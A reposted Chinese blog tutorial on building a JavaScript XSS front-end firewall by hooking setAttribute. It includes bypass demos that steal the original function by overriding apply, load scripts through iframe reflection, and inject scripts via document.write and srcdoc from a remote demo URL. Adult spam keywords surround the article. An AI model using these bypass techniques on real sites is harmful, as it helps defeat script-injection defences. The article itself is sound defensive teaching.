日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 前端技术 > HTML >内容正文

HTML

XSS 前端防火墙 —— 无懈可击的钩子

發布時間:2025/5/22 HTML 50 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XSS 前端防火墙 —— 无懈可击的钩子 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

昨天嘗試了一系列的可疑模塊攔截試驗,盡管最終的方案還存在著一些兼容性問題,但大體思路已經明確了:

  • 靜態模塊:使用 MutationObserver 掃描。
  • 動態模塊:通過 API 鉤子來攔截路徑屬性。

提到鉤子程序,大家會聯想到傳統應用程序里的 API Hook,以及各種外掛木馬。當然,未必是系統函數,任何 CPU 指令都能被改寫成跳轉指令,以實現先運行自己的程序。

無論是在哪個層面,鉤子程序的核心理念都是一樣的:無需修改已有的程序,即可先執行我們的程序。

這是一種鏈式調用的模式。調用者無需關心上一級的細節,直管用就是了,即使有額外的操作對其也是不可見的。從最底層的指令攔截,到語言層面的虛函數繼承,以及更高層次的面向切面,都帶有這類思想。

對于 JavaScript 這樣靈活的語言,任何模式都可以實現。之前做過一個網頁版的變速齒輪,用的就是這類原理。

JavaScript 鉤子小試

要實現一個最基本的鉤子程序非常簡單,之前已演示過了。現在我們再來給 setAttribute 接口實現一個鉤子:

// 保存上級接口 var raw_fn = Element.prototype.setAttribute;// 勾住當前接口 Element.prototype.setAttribute = function(name, value) {// 額外細節實現if (this.tagName == 'SCRIPT' && /^src$/i.test(name)) {if (/xss/.test(value)) {if (confirm('試圖加載可疑模塊:\n\n' + url + '\n\n是否攔截?')) {return;}}}raw_fn.apply(this, arguments); };// 創建腳本 var el = document.createElement('script'); el.setAttribute('SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el);

Run

類似昨天的訪問器攔截,現在我們對 setAttribute 也進行類似的監控。因為它是個函數,所有主流瀏覽器都兼容。

鉤子泄露

看起來似乎毫無難度,而且也沒什么不對的地方,這不就可以了嗎?

如果最終就用這代碼,那也太挫了。我們把原始接口都暴露在全局變量里了,攻擊者只要拿了這個變量,即可繞過我們的檢測代碼:

var el = document.createElement('script');// 直接調用原始接口 raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el);

Run

靠,這不算,這只是我們測試而已。現實中誰會放在全局變量里呢,這年頭不套一個閉包的腳本都不好意思拿出來。

好吧,我還是放閉包里,這總安全了吧。看你怎么隔空取物,從我閉包里偷出來。

(function() {// 保存上級接口var raw_fn = Element.prototype.setAttribute;... })();

不過,真要偷出來,那絕對是沒問題的!

這個變量唯一用到的地方就是:

raw_fn.apply(this, arguments)

這可不是一個原子操作,而是調用了 Function.prototype.apply 這個全局函數。神馬。。。這。是真的,不信你可以試試!

不用說,你也懂了。我還是說完吧:我們可以重寫 apply,然后隨便給某個元素 setAttribute 下,就可以竊聽到鉤子傳過來的 raw_fn 了。

Function.prototype.apply = function() {console.log('哈哈,得到原始接口了:', this); }; document.body.setAttribute('a', 1);

Run

這也太賤了吧,不帶這樣玩的。可人家就能用這招繞過你,又怎樣。

你會想,干脆把 Function.prototype.apply 也提前保存起來得了。然后一番折騰,你會發現代碼變成 apply.apply.apply.apply...

畢竟,apply 和 call 已是最底層了,沒法再 call 自己了。

這可怎么辦。顯然不能再用 apply 或 call 了,但不用它們沒法把 this 變量傳進去啊。回想下,有哪些方法可以控制 this 的:

  • obj.method()

  • method.call(obj)

貌似也就這兩類。排除了第二種,那只剩最古老的用法了。可是我們已經重寫了現有的接口,再調用自己那就遞歸溢出了。

但是,我們可以給原始接口換個名字,不就可以避免沖突了:

(function() {// 保存上級接口Element.prototype.__setAttribute = Element.prototype.setAttribute;// 勾住當前接口Element.prototype.setAttribute = function(name, value) {// 額外細節實現 ...// 向上調用this.__setAttribute(name, value);}; })();

Run

這樣倒是甩掉 apply 這個包袱了,但是無論取『__setAttribute』,還是換成其他名字,人家知道了,照樣可以拿出原始接口。所以,我們得取個復雜的名字,最好每次還都不一樣:

(function() {// 取個霸氣的名字var token = '$' + Math.random();// 保存上級接口Element.prototype[token] = Element.prototype.setAttribute;// 勾住當前接口Element.prototype.setAttribute = function(name, value) {// 額外細節實現 ...// 向上調用this[token](name, value);}; })();

Run

現在,你完全不知道我把原始接口藏在哪了,而且用 this[token](...) 這個巧妙的方法,同樣符合剛才列舉的第一類用法。

問題似乎。。。解決了。但,總感覺有什么不對勁。。。人家不知道變量藏哪了,難道不可以找嗎。把 Element.prototype 遍歷下,一個個找過去,不相信會找不到:

for(var k in Element.prototype) {console.log(k);if (k.substr(0,1) == '$') {console.error('樓上的,你這名字那么猥瑣,敢露個面嗎');console.error(Element.prototype[k]);} }

Run

取了個這么拉風的名字,就象是黑暗中的螢火蟲,瞬間給揪出來了。你會說,為什么不取個再隱蔽點的名字,甚至還可以冒充良民,把從來不用的方法給替換了。

不過,無論想怎么躲,都是徒勞的。有無數種方法可以讓你原形畢露。除非 —— 根本不能被人家枚舉到。

屬性隱身術

如果沒記錯的話,主流 JavaScript 里好像還真有什么叫 enumerable、configurable 之類的東西。把它們搬出來,看看能不能賦予我們隱身功能?

馬上就試試:

// 噓~ 勞資要隱身了 Object.defineProperty(Element.prototype, token, {value: Element.prototype.setAttribute,enumerable: false });

Run

神奇,紅紅的那坨字果然沒出現。看來真的隱身了!

到此,原函數泄露的問題,我們算是搞定了。

不過暫時還不能松懈,為什么?連 apply 都能被山寨,那還有什么可以相信的!那些正則表達式的 test 方法、字符串的大小寫轉換、數組的 forEach 等等等等,都是可以被改寫的。

要是人家把 RegExp.prototype.test 重寫了,并且總是返回 false,那么我們的策略判斷就完全失效了。

所以,我們得重復上面的步驟,把這些運行時要用到的全局方法,都得隨機隱匿起來。

鎖死 call 和 apply

不過,隱藏一個還好,大量的代碼都用這種 Geek 的方式,顯得很是累贅。

既然能有隱身那樣神奇的魔法,難道就沒有其他類似的嗎?事實上,Object.defineProperty 里還有很多有意思的功能,除了讓屬性不可見,還能不可寫、不可刪等等。

可以讓屬性不可寫?太好了,不如干脆把 Function.prototype.call 和 apply 都事先鎖死吧,反正誰會無聊到重寫它們呢。

Object.defineProperty(Function.prototype, 'call', {value: Function.prototype.call,writable: false,configurable: false,enumerable: true });// apply 也一樣

馬上看看效果:

Function.prototype.call = function() {alert('hello'); }; console.log(Function.prototype.call);

果然還是

function call() { [native code] }

Run

現在,我們大可放心的使用 call 和 apply,再也不用鼓搗那堆隨機屬性了。

不過這種隨機+隱藏的屬性,今后還是有用武之地的,常常用來給公開的對象做個秘密的記號,所以沒有白折騰。

到此,我們終于可以松口氣了。

新頁面反射

別高興的太早,真正的難題還在后面呢。

既然人家想破解,是會用盡各種手段的,并不局限于純腳本。因為這是在網頁里,攻擊者們還可以呼喚出各種變幻莫測的瀏覽器功能,來躲避我們。

最簡單的,就是創建一個框架頁面,然后通過 contentWindow 即可獲得一個全新的環境:

// 反射出純凈的接口 var frm = document.createElement('iframe'); document.body.appendChild(frm); var raw_fn = frm.contentWindow.Element.prototype.setAttribute;// 創建腳本 var el = document.createElement('script'); raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el);

Run

這時,我們的鉤子程序就被瞬間秒殺了。

盡管同源頁面之間是可以相互訪問,但其所在的環境卻是隔離的。子頁面所有的一切都是獨立的副本,完全不受主頁面影響。

不過,既然能夠訪問子頁面,顯然也能給它們的環境安裝上鉤子。每當有新的框架元素出現時,我們就立即對其注入防護程序,讓用戶獲取到的 contentWindow 已是帶有鉤子的。

類似傳統的應用程序,每當調用其他程序時,安全軟件需將新創建的進程加以防護。

你說會這很容易辦到。將 createElement 方法勾住,然后在里面判斷創建的是不是框架元素,如果是的話就直接防護子頁面,不就可以了嗎?

顯然,這是經不起實踐的。事實上,只要測試下你就會發現,未掛載到主節點的框架元素,contentWindow 始終是 null。也就是說,必須在調用 appendChild 之后才開始初始化子頁面。

因此,我們得借助之前研究的節點掛載事件,找到一個能在 appendChild 之后,但在用戶獲取 contentWindow 之前觸發的事件。

var observer = new MutationObserver(function(mutations) {console.log('MutationObserver:', mutations); }); observer.observe(document, {subtree: true,childList: true });document.addEventListener('DOMNodeInserted', function(e) {console.log('DOMNodeInserted:', e); }, true);// 反射出純凈的接口 var frm = document.createElement('iframe');console.warn('begin'); document.body.appendChild(frm); console.warn('end');var raw_fn = frm.contentWindow.Element.prototype.setAttribute;/** 輸出 begin DOMNodeInserted MutationEvent end MutationObserver: Array[1] MutationObserver: Array[1] */

Run

這不,DOMNodeInserted 就能滿足我們的需求。于是,我們使用它來監控框架元素。

一旦發現有框架掛載到主節點上,我們趕緊把它的接口也裝上鉤子:

// 我們防御系統 (function() {function installHook(window) {// 保存上級接口var raw_fn = window.Element.prototype.setAttribute;// 勾住當前接口window.Element.prototype.setAttribute = function(name, value) {// 試試alert(name);// 向上調用raw_fn.apply(this, arguments);};}// 先保護當前頁面installHook(window);document.addEventListener('DOMNodeInserted', function(e) {var element = e.target;// 給框架里環境也裝個鉤子if (element.tagName == 'IFRAME') {installHook(element.contentWindow);}}, true); })();// 反射出純凈的接口 var frm = document.createElement('iframe'); document.body.appendChild(frm); var raw_fn = frm.contentWindow.Element.prototype.setAttribute;// 創建腳本 var el = document.createElement('script'); raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el);

Run

完美!對話框成功彈出來了!即使從框架頁里反射出新環境,仍然帶有我們的鉤子程序。

不過,貌似還漏了些什么。要是從框架頁里再套框架頁,我們就杯具了:

// 創建框架頁 var frm = document.createElement('iframe'); document.body.appendChild(frm);// 創建框架頁的框架頁 var doc = frm.contentDocument; var frm2 = doc.createElement('iframe'); doc.body.appendChild(frm2);// 反射接口 var raw_fn = frm2.contentWindow.Element.prototype.setAttribute;// 創建腳本 var el = document.createElement('script'); raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el);

Run

前面說了,每個頁面環境是獨立的,主頁面是捕捉不到子頁面里的事件的。所以,框架頁里創建元素,我們完全不知道。

怎么破?這還不簡單,索性給框架頁也綁上 DOMNodeInserted 事件,不就可以層層監控了嗎。無論框架的幾次方,都逃不過我們的火眼金睛了。

// 我們防御系統 (function() {function installHook(window) {// 保存上級接口var raw_fn = window.Element.prototype.setAttribute;// 勾住當前接口window.Element.prototype.setAttribute = function(name, value) {// 試試alert(name);// 向上調用raw_fn.apply(this, arguments);};// 監控當前環境的元素window.document.addEventListener('DOMNodeInserted', function(e) {var element = e.target;// 給框架里環境也裝個鉤子if (element.tagName == 'IFRAME') {installHook(element.contentWindow);}}, true);}// 先保護當前頁面installHook(window); })();

Run

只需簡單的小改動。我們把 DOMNodeInserted 放到 installHook 里,這樣在安裝鉤子的同時,也對當前 window 中的元素進行監控。一旦出現框架元素,就遞歸防護。

現在,我們的框架頁監控已是天衣無縫了。

新頁面逆向控制

不過,世上沒有絕對的事。

我們只考慮了正向的反射,卻忘了框架也可以逆向控制主頁面。攻擊者要是能把 XSS 腳本注入到框架頁里,同樣也可以向上修改主頁面里的內容,發起信任攻擊。

在框架里引入腳本,方法就更多了。框架元素雖然是動態創建的,但其內容可以靜態呈現:

// 創建框架頁 var frm = document.createElement('iframe'); document.body.appendChild(frm);// 靜態呈現 frm.contentDocument.write('<\script src=http://www.etherdream.com/xss/alert.js><\/script>');

Run

這只是隨便列舉了一種。事實上,HTML5 還新增一個可以直接控制框架頁內容的屬性:srcdoc。

<iframe srcdoc="<script src=http://www.etherdream.com/xss/alert.js></script>"></iframe>

Run

并且還是在同源環境中執行的:

<iframe srcdoc="<script>parent.alert('call from frame')</script>"></iframe>

Run

搞了半天結果還是能被繞過。

不過別灰心,經測試,document.write 出來的內容是可以被 MutationObserver 捕獲到的。至于 srcdoc 嘛,這個偏門的屬性完全可以把它禁掉,或者重寫訪問器,把 HTML 內容用其他辦法代理到頁面上去。反正這又不是主流的用法,只要最終效果一樣就沒問題了。

當然,要是在主頁面里 document.write 怎么辦?腳本確實能運行,但不白屏了嗎。如果覺得這有風險,可以在 DOMContentLoaded 之后,把 document.write 也屏蔽掉,以免后患。

后記

雖說魔高一尺道高一丈,但再牢固的鉤子還是有意想不到的辦法繞過的。因此我們得與時俱進,不斷修繕來強化防御能力。

到目前為止,我們已對腳本、框架、API 接口實現了主動防御。但是,具備執行能力的元素并不止這些。

例如 Flash 就可以運行頁面中的腳本,光是它就占用了 object,embed,param 那么多元素。

而且,API 防護鉤子并不全面,只是例舉了幾個常用的。

下一篇,我們將詳細的整理需要防護的監控點,實現全方位的防護。

轉載于:https://www.cnblogs.com/index-html/p/xss-frontend-firewall-3.html

總結

以上是生活随笔為你收集整理的XSS 前端防火墙 —— 无懈可击的钩子的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 水蜜桃av无码| 男人天堂你懂的 | 亚洲资源在线 | 色综合久久久 | 黄色长视频 | 性调教学院高h学校 | 国产高清一区二区三区四区 | 拍真实国产伦偷精品 | 国产香蕉视频在线 | 99久免费精品视频在线观78 | 久久一区欧美 | 亚洲综合一区二区 | 亚洲AV无码精品久久一区二区 | 永久免费看黄 | 黄色一级片黄色一级片 | 啊灬啊灬啊灬秀婷 | 亚洲综合精品国产一区二区三区 | 毛片毛片毛片毛片 | 人人草人 | 欧美视频一区在线观看 | 在线观看欧美成人 | 国产美女91 | 女生鸡鸡软件 | 日韩在线激情视频 | 台湾佬久久 | 日韩色图一区 | 午夜久久久| 国产最新在线观看 | 国产一区二区三区四区 | 国产香蕉久久 | 日韩欧美亚洲在线 | 久久香蕉综合 | 色不卡 | 青青草免费公开视频 | 嫩模被强到高潮呻吟不断 | 精品久久久久久久久久久久久久久久久 | 成人久久在线 | 一区二区三区四区五区视频 | 无遮挡裸光屁屁打屁股男男 | 香蕉视频免费在线观看 | 二级黄色片 | 黑人一区二区三区 | 国产精品黄在线观看 | 亚洲综合伊人 | 国产美女被遭强高潮免费网站 | 九九自拍| 成人影片在线免费观看 | 亚洲精品乱码久久久久久久久久久久 | 欧美在线免费看 | 天天5g天天爽免费观看 | 国产美女主播 | www..com色| 少妇太紧太爽又黄又硬又爽 | 美国美女群体交乱 | 婷婷去俺也去 | 亚洲在线精品视频 | 91丝袜美腿 | 中文资源在线播放 | 久久伊人影院 | 奇米影| 日韩一区网站 | 国产老女人精品毛片久久 | 日韩黄网| 色哟哟免费在线观看 | 欧美不卡视频在线观看 | 91免费精品 | 灌篮高手全国大赛电影 | 伊人蕉久| 中文字幕第七页 | 天天天天天天操 | 中文字幕视频 | 噼里啪啦动漫高清在线观看 | 欧美激情15p | 操一操视频 | 91国内揄拍国内精品对白 | 国产探花视频在线观看 | 日干夜干天天干 | 国产精品久久久久久久一区二区 | 亚洲专区中文字幕 | 午夜影院0606| 精品久久久久久久久久久 | 日韩精品一区二区不卡 | 女人下面无遮挡 | 亚洲色鬼| 99产精品成人啪免费网站 | 金鱼妻日剧免费观看完整版全集 | 亚洲黄色在线看 | av成人在线网站 | 人妻av中文系列 | 欧美高清视频一区二区 | 男女激情网 | 91视频在线免费观看 | 国产精品永久 | 国产鲁鲁视频在线观看免费 | 福利视频99 | 性——交——性——乱免费的 | 一级在线免费观看 | 国产精品日韩在线 | 夜夜av |